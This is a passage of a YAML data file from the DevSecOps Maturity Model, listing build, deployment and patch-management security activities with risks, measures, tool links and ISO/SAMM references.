example, this may result in using images with malicious code. Also, intended + major changes, which are automatically used in an image used might break the + functionality. + measure: Pinning of artifacts ensure that changes are performed only when intended. + comment: The usage of pinning requires a good processes for patching. Therefore, + choose this activity wisely. + meta: + implementationGuide: Pinning artifacts in Dockerfile refers to the practice + of using specific, immutable versions of base images and dependencies in + your build process. Instead of using the latest tag for your base image, + select a specific version or digest. For example, replace FROM node:latest, + to FROM node@sha256:abcdef12. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 2 + tags: + - inventory + implementation: + - uuid: 9368abfb-cf37-477a-9091-a804d2de9148 + name: Signing of containers + tags: + - signing + - container + - build + url: https://www.aquasec.com/cloud-native-academy/supply-chain-security/container-image-signing/ + description: Container technology automatically creates a hash for images, + which can be used. + - uuid: 638b3691-c9a5-45fa-9ba8-e40aeea32766 + name: Immutable images + tags: + - deployment + - container + - build + url: https://kubernetes.io/blog/2022/09/29/enforce-immutability-using-cel/#immutablility-after-first-modification + description: Immutable images are an other way, e.g. by using a registry, + which doesn't allow overriding of images. + dependsOn: + - Defined build process + references: + samm2: + - I-SB-B-1 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Build/f3c4971e-9f4d-4e59-8ed0-f0bdb6262477 + comments: "" + teamsImplemented: + Default: false + B: false + C: false + SBOM of components: + uuid: 2858ac12-0179-40d9-9acf-1b839c030473 + description: |- + SBOM (Software Bill of Materials) is a document that lists all components, libraries, + and dependencies used in a software application or container image. Creating an SBOM + during the build process can help ensure transparency, security, and license compliance + for your application. + risk: In case a vulnerability of severity high or critical exists, it needs + to be known where an artifacts with that vulnerability is deployed with which + dependencies. + measure: Creation of an SBOM of components (e.g. application and container image + content) during build. + dependsOn: + - Defined build process + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 3 + usefulness: 3 + level: 2 + implementation: [] + references: + samm2: + - I-SB-B-1 + - D-TA-A-1 + iso27001-2017: + - 8.1 + - 8.2 + iso27001-2022: + - 5.9 + - 5.12 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Build/2858ac12-0179-40d9-9acf-1b839c030473 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Signing of artifacts: + uuid: 5786959d-0c6f-46a6-8e1c-a32ff1a50222 + risk: Execution or usage of malicious code or data e.g. via executables, libraries + or container images. + measure: Digitally signing artifacts for all steps during the build and especially + docker images, helps to ensure their integrity and authenticity. + description: "To perform a push to a GitHub repository, you must be authenticated. + It's important to note that GitHub does not verify if the authenticated user's + email address matches the one in the commit.\nTo clearly identify the author + of a commit for reviewers, commit signing is recommended.\n\nGitHub actions + such as [semantic-release-action](https://github.com/cycjimmy/semantic-release-action) + do not automatically sign commits and may encounter issues as a result. \n\nTo + address this, you can refer to a working configuration example in the [workflow + folder](https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel/blob/master/.github/workflows/main.yml) + of DSOMM, which demonstrates how to use semantic release action in conjunction + with [planetscale/ghcommit-action](https://github.com/planetscale/ghcommit-action).\nFor + added security, consider using [Fine-grained personal access tokens](https://github.blog/2022-10-18-introducing-fine-grained-personal-access-tokens-for-github/) + provided by your organization for a specific repository. Store the Personal + Access Token (PAT) as a secret in your project." + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 5 + implementation: + - uuid: ee81f93f-8230-4cfb-a132-ae4ec61cb8e6 + name: Docker Content Trust + tags: [] + url: https://docs.docker.com/engine/security/trust/ + - uuid: 6e9d8c14-ba3b-4698-afc3-365b4ab6fb1f + name: in-toto + tags: [] + url: https://in-toto.github.io/ + dependsOn: + - Defined build process + - Pinning of artifacts + references: + samm2: + - I-SB-A-1 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Build/5786959d-0c6f-46a6-8e1c-a32ff1a50222 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Signing of code: + uuid: 9f107927-61e9-4574-85ad-3f2b4bca8665 + risk: Execution or usage of malicious code or data e.g. via executables, libraries + or container images. + measure: Digitally signing commits helps to prevent unauthorized manipulation + of source code. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 3 + implementation: + - uuid: d6d755d3-b9f1-4942-a084-e62b266541df + name: Signing of commits + tags: + - signing + url: https://git-scm.com/book/en/v2/Git-Tools-Signing-Your-Work + description: Signing of commits in git + - uuid: 86c6bdba-73c0-4c99-bbda-81b85c9fe2a4 + name: Enforcement of commit signing + tags: + - signing + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule + description: Usage of branch protection rules + dependsOn: + - Defined build process + references: + samm2: + - I-SB-A-2 + iso27001-2017: + - 14.2.6 + iso27001-2022: + - 8.31 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Build/9f107927-61e9-4574-85ad-3f2b4bca8665 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Deployment: + Blue/Green Deployment: + uuid: 0cb2626b-fb0d-4a0f-9688-57f787310d97 + risk: A new artifact's version can have unknown defects. + measure: |- + Using a blue/green deployment strategy increases application availability + and reduces deployment risk by simplifying the rollback process if a deployment fails. + difficultyOfImplementation: + knowledge: 1 + time: 2 + resources: 1 + usefulness: 2 + level: 5 + implementation: + - uuid: 4fb3d95c-07c0-4cbb-b396-5054aba751c2 + name: Blue/Green Deployments + tags: [] + url: https://martinfowler.com/bliki/BlueGreenDeployment.html + dependsOn: + - Smoke Test + references: + samm2: + - I-SD-A-3 + iso27001-2017: + - 17.2.1 + - 12.1.1 + - 12.1.2 + - 12.1.4 + - 12.5.1 + - 14.2.9 + iso27001-2022: + - 8.14 + - 5.37 + - 8.31 + - 8.32 + - 8.19 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/0cb2626b-fb0d-4a0f-9688-57f787310d97 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Defined decommissioning process: + uuid: da4ff665-dcb9-4e93-9d20-48cdedc50fc2 + description: |- + The decommissioning process in the context of Docker and Kubernetes involves + retiring Docker containers, images, and Kubernetes resources that are no longer + needed or have been replaced. This process must be carefully executed to avoid + impacting other services and applications. + risk: Unused applications are not maintained and may contain vulnerabilities. + Once exploited they can be used to attack other applications or to perform + lateral movements within the organization. + measure: A clear decommissioning process ensures the removal of unused applications + from the `Inventory of production components` and if implemented from `Inventory + of production artifacts`. + difficultyOfImplementation: + knowledge: 1 + time: 2 + resources: 1 + usefulness: 2 + level: 2 + references: + samm2: + - O-OM-B-2 + iso27001-2017: + - 11.2.7 + iso27001-2022: + - 7.14 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/da4ff665-dcb9-4e93-9d20-48cdedc50fc2 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Defined deployment process: + uuid: 74938a3f-1269-49b9-9d0f-c43a79a1985a + risk: Deployment of insecure or malfunctioning artifacts. + measure: Defining a deployment process ensures that there are established criteria + in terms of functionalities, security, compliance, and performance, and that + the artifacts meet them. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 1 + dependsOn: + - Defined build process + implementation: + - uuid: b4bfead3-5fb6-4dd0-ba44-5da713bd22e4 + name: CI/CD tools + tags: + - ci-cd + url: https://martinfowler.com/articles/continuousIntegration.html + description: CI/CD tools such as jenkins, gitlab-ci or github-actions + - uuid: cc47b2e3-6ee5-4926-af3a-d418ef91c8ba + name: Docker + url: https://github.com/moby/moby + tags: [] + references: + samm2: + - I-SD-A-1 + iso27001-2017: + - 12.1.1 + - 14.2.2 + iso27001-2022: + - 5.37 + - 8.32 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/74938a3f-1269-49b9-9d0f-c43a79a1985a + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Environment depending configuration parameters (secrets): + uuid: df428c9d-efa0-4226-9f47-a15bb53f822b + risk: Unauthorized access to secrets stored in source code or in artifacts (e.g. + container images) through process listing (e.g. ps -ef). + measure: Set configuration parameters via environment variables stored using + specific platform functionalities or secrets management systems (e.g. Kubernetes + secrets or Hashicorp Vault). + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + implementation: + - uuid: e3a2ffc8-313f-437e-9663-b24591568209 + name: Hashicorp Vault + tags: + - authentication + - authorization + - secrets + - infrastructure + url: https://github.com/hashicorp/vault + description: | + A tool for secrets management, encryption as a service, and privileged access management. + references: + samm2: + - I-SD-B-1 + iso27001-2017: + - 9.4.5 + - 14.2.6 + iso27001-2022: + - 8.4 + - 8.31 + d3f: + - ApplicationConfigurationHardening + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/df428c9d-efa0-4226-9f47-a15bb53f822b + tags: + - secret + teamsImplemented: + Default: false + B: false + C: false + Evaluation of the trust of used components: + uuid: 0de465a6-55a7-4343-af79-948bb5ff10ba + risk: Application and system components like Open Source libraries or images + can have implementation flaws or deployment flaws. Developers or operations + might start random images in the production cluster which have malicious code + or known vulnerabilities. + measure: Each components source is evaluated to be trusted. For example the + source, number of developers included, email configuration used by maintainers + to prevent maintainer account theft, typo-squatting, ... Create image assessment + criteria, perform an evaluation of images and create a whitelist of artifacts/container + images/virtual machine images. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 3 + level: 2 + implementation: + - uuid: 2a76300f-6b1f-4a51-b925-134c36b723af + name: Kubernetes Admission Controller can whitelist registries and/or whitelist + a signing key. + tags: [] + url: https://medium.com/slalom-technology/build-a-kubernetes-dynamic-admission-controller-for-container-registry-whitelisting-b46fe020e22d + - uuid: 5d8b27ac-286e-47a5-b23f-769eb6d74e4a + name: packj + tags: + - OpenSource + - Supply Chain + - vulnerability + url: https://github.com/ossillate-inc/packj + description: | + Packj is a tool to detect software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and PyPI. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 14.2.1 + - 14.2.5 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/0de465a6-55a7-4343-af79-948bb5ff10ba + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Handover of confidential parameters: + uuid: 94a96f79-8bd6-4904-97c0-994ff88f176a + risk: Parameters are often used to set credentials, for example by starting + containers or applications; these parameters can often be seen by any one + listing running processes on the target system. + measure: Encryption ensures confidentiality of credentials e.g. from unauthorized + access on the file system. Also, the usage of a credential management system + can help protect credentials. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + implementation: "" + dependsOn: + - Environment depending configuration parameters (secrets) + references: + samm2: + - I-SD-B-2 + iso27001-2017: + - 14.1.3 + - 13.1.3 + - 9.4.3 + - 9.4.1 + - 10.1.2 + iso27001-2022: + - 8.33 + - 8.22 + - 5.17 + - 8.3 + - 8.24 + d3f: + - ApplicationConfigurationHardening + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/94a96f79-8bd6-4904-97c0-994ff88f176a + tags: + - secret + teamsImplemented: + Default: false + B: false + C: false + Inventory of production artifacts: + uuid: 83057028-0b77-4d2e-8135-40969768ae88 + risk: In case a vulnerability of severity high or critical exists, it needs + to be known where an artifacts (e.g. container image) with that vulnerability + is deployed. + measure: A documented inventory of artifacts in production like container images + exists (gathered manually or automatically). + dependsOn: + - Defined deployment process + - Inventory of production components + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 3 + usefulness: 3 + level: 2 + implementation: + - uuid: 2210e02b-a856-4da4-8732-5acd77e20fca + name: Backstage + tags: + - documentation + - inventory + url: https://github.com/backstage/backstage + description: | + Backstage is an open-source platform designed to create developer portals. At its core is a centralized software catalog that brings organization to your microservices and infrastructure. + - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 + name: Dependency-Track is an intelligent Component Analysis platform that + allows organizations to identify and reduce risk in the software supply + chain. Dependency-Track takes a unique and highly beneficial approach by + leveraging the capabilities of Software Bill of Materials (SBOM). + url: https://github.com/DependencyTrack/dependency-track + tags: + - sca + - inventory + - OpenSource + - Supply Chain + - vulnerability + - inventory + - uuid: 879bd03f-8de1-43d6-b492-d974181bfa6c + name: Image Metadata Collector + tags: + - documentation + - inventory + - kubernetes + url: https://github.com/SDA-SE/image-metadata-collector/ + description: | + Collects namespaces and namespaces including responsible team and contact info through annotations/labels from Kubernetes clusters. Results are available in JSON and can be uploaded to S3, github and an API. + references: + samm2: + - I-SB-B-1 + - D-TA-B-1 + iso27001-2017: + - 8.1 + - 8.2 + iso27001-2022: + - 5.9 + - 5.12 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/83057028-0b77-4d2e-8135-40969768ae88 + tags: + - inventory + teamsImplemented: + Default: false + B: false + C: false + Inventory of production components: + uuid: 2a44b708-734f-4463-b0cb-86dc46344b2f + risk: An organization is unaware of components like applications in production. + Not knowing existing applications in production leads to not assessing it. + measure: |- + A documented inventory of components in production exists (gathered manually or automatically). For example a manually created document with applications in production. + In a kubernetes cluster, namespaces can be automatically gathered and documented, e.g. in a JSON in a S3 bucket/git repository, dependency track. + dependsOn: + - Defined deployment process + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 4 + level: 1 + implementation: + - uuid: 2210e02b-a856-4da4-8732-5acd77e20fca + name: Backstage + tags: + - documentation + - inventory + url: https://github.com/backstage/backstage + description: | + Backstage is an open-source platform designed to create developer portals. At its core is a centralized software catalog that brings organization to your microservices and infrastructure. + - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 + name: Dependency-Track is an intelligent Component Analysis platform that + allows organizations to identify and reduce risk in the software supply + chain. Dependency-Track takes a unique and highly beneficial approach by + leveraging the capabilities of Software Bill of Materials (SBOM). + url: https://github.com/DependencyTrack/dependency-track + tags: + - sca + - inventory + - OpenSource + - Supply Chain + - vulnerability + - inventory + - uuid: 879bd03f-8de1-43d6-b492-d974181bfa6c + name: Image Metadata Collector + tags: + - documentation + - inventory + - kubernetes + url: https://github.com/SDA-SE/image-metadata-collector/ + description: | + Collects namespaces and namespaces including responsible team and contact info through annotations/labels from Kubernetes clusters. Results are available in JSON and can be uploaded to S3, github and an API. + references: + samm2: + - I-SB-B-1 + - D-TA-B-1 + iso27001-2017: + - 8.1 + - 8.2 + iso27001-2022: + - 5.9 + - 5.12 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/2a44b708-734f-4463-b0cb-86dc46344b2f + tags: + - inventory + teamsImplemented: + Default: false + B: false + C: false + Inventory of production dependencies: + uuid: 13e9757e-58e2-4277-bc0f-eadc674891e6 + risk: Delayed identification of components and their vulnerabilities in production. + In case a vulnerability is known by the organization, it needs to be known + where an artifacts with that vulnerability is deployed with which dependencies. + measure: A documented inventory of dependencies used in artifacts like container + images and containers exists. + dependsOn: + - Inventory of production artifacts + - SBOM of components + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 3 + usefulness: 3 + level: 3 + implementation: + - uuid: 2210e02b-a856-4da4-8732-5acd77e20fca + name: Backstage + tags: + - documentation + - inventory + url: https://github.com/backstage/backstage + description: | + Backstage is an open-source platform designed to create developer portals. At its core is a centralized software catalog that brings organization to your microservices and infrastructure. + - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 + name: Dependency-Track is an intelligent Component Analysis platform that + allows organizations to identify and reduce risk in the software supply + chain. Dependency-Track takes a unique and highly beneficial approach by + leveraging the capabilities of Software Bill of Materials (SBOM). + url: https://github.com/DependencyTrack/dependency-track + tags: + - sca + - inventory + - OpenSource + - Supply Chain + - vulnerability + - inventory + - uuid: 879bd03f-8de1-43d6-b492-d974181bfa6c + name: Image Metadata Collector + tags: + - documentation + - inventory + - kubernetes + url: https://github.com/SDA-SE/image-metadata-collector/ + description: | + Collects namespaces and namespaces including responsible team and contact info through annotations/labels from Kubernetes clusters. Results are available in JSON and can be uploaded to S3, github and an API. + references: + samm2: + - I-SB-B-3 + - I-SB-B-2 + - I-SB-B-1 + iso27001-2017: + - 8.1 + - 8.2 + iso27001-2022: + - 5.9 + - 5.12 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/13e9757e-58e2-4277-bc0f-eadc674891e6 + comments: "" + tags: + - inventory + - sbom + teamsImplemented: + Default: false + B: false + C: false + Rolling update on deployment: + uuid: 85d52588-f542-4225-a338-20dc22a5508d + risk: While a deployment is performed, the application can not be reached. + measure: A deployment without downtime is performed*. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 2 + level: 3 + implementation: + - uuid: cc47b2e3-6ee5-4926-af3a-d418ef91c8ba + name: Docker + url: https://github.com/moby/moby + tags: [] + - uuid: a71ce8f8-fd4a-4240-8b46-64a6cdb5dfdb + name: Webserver + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:WebServer/ + - uuid: ee2eb94b-7204-40d8-97da-43c7b1296e2e + name: rolling update + tags: [] + dependsOn: + - Defined deployment process + references: + samm2: + - I-SD-A-2 + - I-SD-A-3 + iso27001-2017: + - 12.5.1 + - 14.2.2 + - 17.2.1 + iso27001-2022: + - 8.19 + - 8.32 + - 8.14 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/85d52588-f542-4225-a338-20dc22a5508d + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Same artifact for environments: + uuid: a854b48d-83bd-4f8d-8621-a0bdd470837f + risk: Building of an artifact for different environments means that an untested + artifact might reach the production environment. + measure: Building an artifact once and deploying it to different environments + means that only tested artifacts are allowed to reach the production environment + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 4 + implementation: + - uuid: cc47b2e3-6ee5-4926-af3a-d418ef91c8ba + name: Docker + url: https://github.com/moby/moby + tags: [] + dependsOn: + - Defined build process + references: + samm2: + - I-SD-A-2 + - I-SD-A-3 + iso27001-2017: + - 14.3.1 + - 14.2.8 + - 12.1.4 + iso27001-2022: + - 8.33 + - 8.29 + - 8.31 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/a854b48d-83bd-4f8d-8621-a0bdd470837f + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of feature toggles: + uuid: a511799b-045e-4b96-9843-7d63d8c1e2ad + risk: Using environment variables to enable or disable features can lead to + a situation where a feature is accidentally enabled in the production environment. + measure: Usage of environment independent configuration parameter, called static + feature toggles, mitigates the risk of accidentally enabling insecure features + in production. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 2 + level: 4 + implementation: + - uuid: cc47b2e3-6ee5-4926-af3a-d418ef91c8ba + name: Docker + url: https://github.com/moby/moby + tags: [] + - uuid: 83be6c60-6633-4c32-98de-7ae065c143c9 + name: Feature Toggles + tags: + - development + - architecture + url: https://martinfowler.com/articles/feature-toggles.html + description: | + Feature Toggles are a powerful technique, allowing teams to modify system behavior without changing code. (Pete Hodgson) + dependsOn: + - Same artifact for environments + references: + samm2: + - I-SD-A-2 + iso27001-2017: + - 14.3.1 + - 14.2.8 + - 14.2.9 + - 12.1.4 + iso27001-2022: + - 8.33 + - 8.29 + - 8.31 + d3f: + - ApplicationConfigurationHardening + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Deployment/a511799b-045e-4b96-9843-7d63d8c1e2ad + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Patch Management: + A patch policy is defined: + uuid: 99415139-6b50-441b-89e1-0aa59accd43d + risk: Vulnerabilities in running artifacts stay for long and might get exploited. + measure: A patch policy for all artifacts (e.g. in images) is defined. How often + is an image rebuilt? + difficultyOfImplementation: + knowledge: 3 + time: 1 + resources: 2 + usefulness: 4 + level: 1 + implementation: [] + references: + samm2: + - O-EM-B-1 + iso27001-2017: + - 12.6.1 + - 12.5.1 + - 14.2.5 + iso27001-2022: + - 8.8 + - 8.19 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Patch + Management/99415139-6b50-441b-89e1-0aa59accd43d + comments: "" + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Automated PRs for patches: + uuid: 8ae0b92c-10e0-4602-ba22-7524d6aed488 + risk: Components with known (or unknown) vulnerabilities might stay for long + and get exploited, even when a patch is available. + measure: |- + Fast patching of third party component is needed. The DevOps way is to have an automated pull request for new components. This includes + * Applications * Virtualized operating system components (e.g. container images) * Operating Systems * Infrastructure as Code/GitOps (e.g. argocd based on a git repository or terraform) + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 1 + implementation: + - uuid: d6292c7d-aab7-43d3-a7c6-1e443b5c1aa4 + name: dependabot + tags: + - auto-pr + - patching + url: https://dependabot.com/ + - uuid: 42ddb49f-48f2-4a3a-b76a-e73104ac6971 + name: Jenkins + tags: [] + url: https://www.jenkins.io/ + - uuid: 0d63f907-37fe-4375-88a5-a5e252732618 + name: terraform + tags: + - IaC + url: https://www.terraform.io/ + description: | + Terraform enables infrastructure automation for provisioning, compliance, and management of any cloud, datacenter, and service. + - uuid: 8228266e-e04f-40ba-94c8-bfadc5310920 + name: renovate + tags: + - auto-pr + - patching + url: https://github.com/renovatebot/renovate + references: + samm2: + - O-EM-B-1 + iso27001-2017: + - 12.6.1 + - 14.2.5 + iso27001-2022: + - "8.8" + - "8.27" + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Patch + Management/8ae0b92c-10e0-4602-ba22-7524d6aed488 + comments: "" + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Automated deployment of automated PRs: + uuid: 08f27c26-2c6a-47fe-9458-5e88f188085d + description: Automated merges of automated created PRs for outdated dependencies. + risk: Even if automated dependencies PRs are merged, they might not be deployed. + This results in vulnerabilities in running artifacts stay for too long and + might get exploited. + measure: | + After merging of an automated dependency PR, automated deployment is needed, + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + dependsOn: + - Automated merge of automated PRs + implementation: + - uuid: 0d63f907-37fe-4375-88a5-a5e252732618 + name: terraform + tags: + - IaC + url: https://www.terraform.io/ + description: | + Terraform enables infrastructure automation for provisioning, compliance, and management of any cloud, datacenter, and service. + - uuid: fdb0e7cc-d3dd-4a2b-9f45-7d403001294f + name: argoCD + tags: + - deployment + url: https://argo-cd.readthedocs.io/en/stable/ + references: + samm2: + - O-EM-B-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Patch + Management/08f27c26-2c6a-47fe-9458-5e88f188085d + comments: "" + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Automated merge of automated PRs: + uuid: f2594f8f-1cd6-45f9-af29-eaf3315698eb + description: Automated merges of automated created PRs for outdated dependencies. + risk: Vulnerabilities in running artifacts stay for too long and might get exploited. + measure: | + A good practice is to merge trusted dependencies (e.g. spring boot) after a grace period like one week. + Often, patches, fixes and minor updates are automatically merged. Be aware that automated merging requires a high + automated test coverage. Enforcement of merging of pull requests after a grace period. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 3 + level: 2 + dependsOn: + - Automated PRs for patches + implementation: + - uuid: d6292c7d-aab7-43d3-a7c6-1e443b5c1aa4 + name: dependabot + tags: + - auto-pr + - patching + url: https://dependabot.com/ + - uuid: 8228266e-e04f-40ba-94c8-bfadc5310920 + name: renovate + tags: + - auto-pr + - patching + url: https://github.com/renovatebot/renovate + references: + samm2: + - O-EM-B-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Patch + Management/f2594f8f-1cd6-45f9-af29-eaf3315698eb + comments: "" + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Nightly build of images (base images): + uuid: 34869eaf-f2e1-4926-b0bd-28c43402f057 + description: |- + A base image is a pre-built image that serves as a starting point for building + new images or containers. These base images usually include an operating system, + necessary dependencies, libraries, and other components that are required to run + a specific application or service. Nightly builds of custom base images refer to + an automated process that occurs daily or on a scheduled basis, usually during + nighttime or off-peak hours, to create updated versions of custom base images. + risk: Vulnerabilities in running containers stay for too long and might get + exploited. + measure: Custom base images are getting build at least nightly. In case the + packages in the base image e.g. centos has changed, the build server + triggers the build of depending images. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 3 + level: 2 + implementation: [] + references: + samm2: + - O-EM-B-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Patch + Management/34869eaf-f2e1-4926-b0bd-28c43402f057 + comments: "" + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Reduction of the attack surface: + uuid: 16e39c8f-5336-4001-88ed-a552d2447531 + description: |- + Distroless images are minimal, stripped-down base images that contain only the + essential components required to run your application. They do not include package + managers, shells, or any other tools that are commonly found in standard Linux + distributions. Using distroless images can help reduce the attack surface and + overall size of your container images. + risk: Components, dependencies, files or file access rights might have vulnerabilities, + but the they are not needed. + measure: Removal of unneeded components, dependencies, files or file access + rights. For container images the usage of distroless images is recommended. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 3 + level: 2 + implementation: + - uuid: ef647044-b675-47d3-9720-3ebc144ef37b + name: Distroless + tags: [] + url: https://github.com/GoogleContainerTools/distroless + - uuid: be757cb3-63d6-4a63-9c4e-e10b746fd47a + name: Fedora CoreOS + tags: [] + url: https://getfedora.org/coreos + - uuid: a92c4f8f-a918-406a-b1e5-70acfc0477bd + name: Distroless or Alpine + tags: [] + url: https://itnext.io/which-container-images-to-use-distroless-or-alpine-96e3dab43a22 + references: + samm2: + - I-SB-B-2 + iso27001-2017: + - hardening is missing in ISO 27001 + - 14.2.1 + iso27001-2022: + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Patch + Management/16e39c8f-5336-4001-88ed-a552d2447531 + comments: "" + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Usage of a maximum lifetime for images: + uuid: 485a3383-7f2e-4dba-bb84-479377070904 + description: |- + The maximum lifetime for a Docker container refers to the duration a container + should be allowed to run before it is considered outdated, stale, or insecure. + There is not a fixed, universally applicable maximum lifetime for a Docker + container, as it varies depending on the specific use case, application + requirements, and security needs. As a best practice, it is essential to define + a reasonable maximum lifetime for containers to ensure that you consistently + deploy the most recent, patched, and secure versions of both your custom base + images and third-party images. + risk: Vulnerabilities in images of running containers stay for too long and + might get exploited. Long running containers have potential memory leaks. + A compromised container might get killed by restarting the container (e.g. + in case the attacker has not reached the persistence layer). + measure: A short maximum lifetime for images is defined, e.g. 30 days. The project + images, based on the nightly builded images, are deployed at leased once within + the defined lifetime. Third Party images are deployed at leased once within + the defined lifetime. + difficultyOfImplementation: + knowledge: 3 + time: 4 + resources: 2 + usefulness: 3 + level: 2 + implementation: [] + references: + samm2: + - O-EM-B-1 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Patch + Management/485a3383-7f2e-4dba-bb84-479377070904 + comments: "" + tags: + - patching + teamsImplemented: + Default: false + B: false + C: false + Usage of a short maximum lifetime for images: + uuid: 6b96e5a0-ce34-4ea4-a88f-469d3b84546e + description: |- + The maximum lifetime for a Docker container refers to the duration a container + should be allowed to run before it is considered outdated, stale, or insecure. + There is not a fixed, universally applicable maximum lifetime for a Docker + container, as it varies depending on the specific use case, application + requirements, and security needs. As a best practice, it is essential to define + a reasonable maximum lifetime for containers to ensure that you consistently + deploy the most recent, patched, and secure versions of both your custom base + images and third-party images. + risk: Vulnerabilities in running containers stay for too long and might get + exploited. + measure: | + A good practice is to perform the build and deployment daily or even just-in-time, when a new component (e.g. package) for the image is available. + difficultyOfImplementation: + knowledge: 3 + time: 4 + resources: 2 + usefulness: 3 + level: 4 + implementation: + - uuid: 1a463242-b480-46f6-a912-b51ec1c1558d + name: "Sample concept: \n(1" + tags: [] + description: "Sample concept: \n(1) each container has a set lifetime and + is killed / replaced with a new container multiple times a day where you + have some form of a graceful replacement to ensure no (short) service outage + will occur to the end users. \n(2) twice a day a rebuild of images is done. + The rebuilds are put into a automated testing pipeline. If the testing has + no blocking issues the new images will be released for deployment during + the next \"restart\" of a container. What has to be done, is to ensure the + new containers are deployed in some canary deployment manner, this will + ensure that if (and only if) something buggy has been 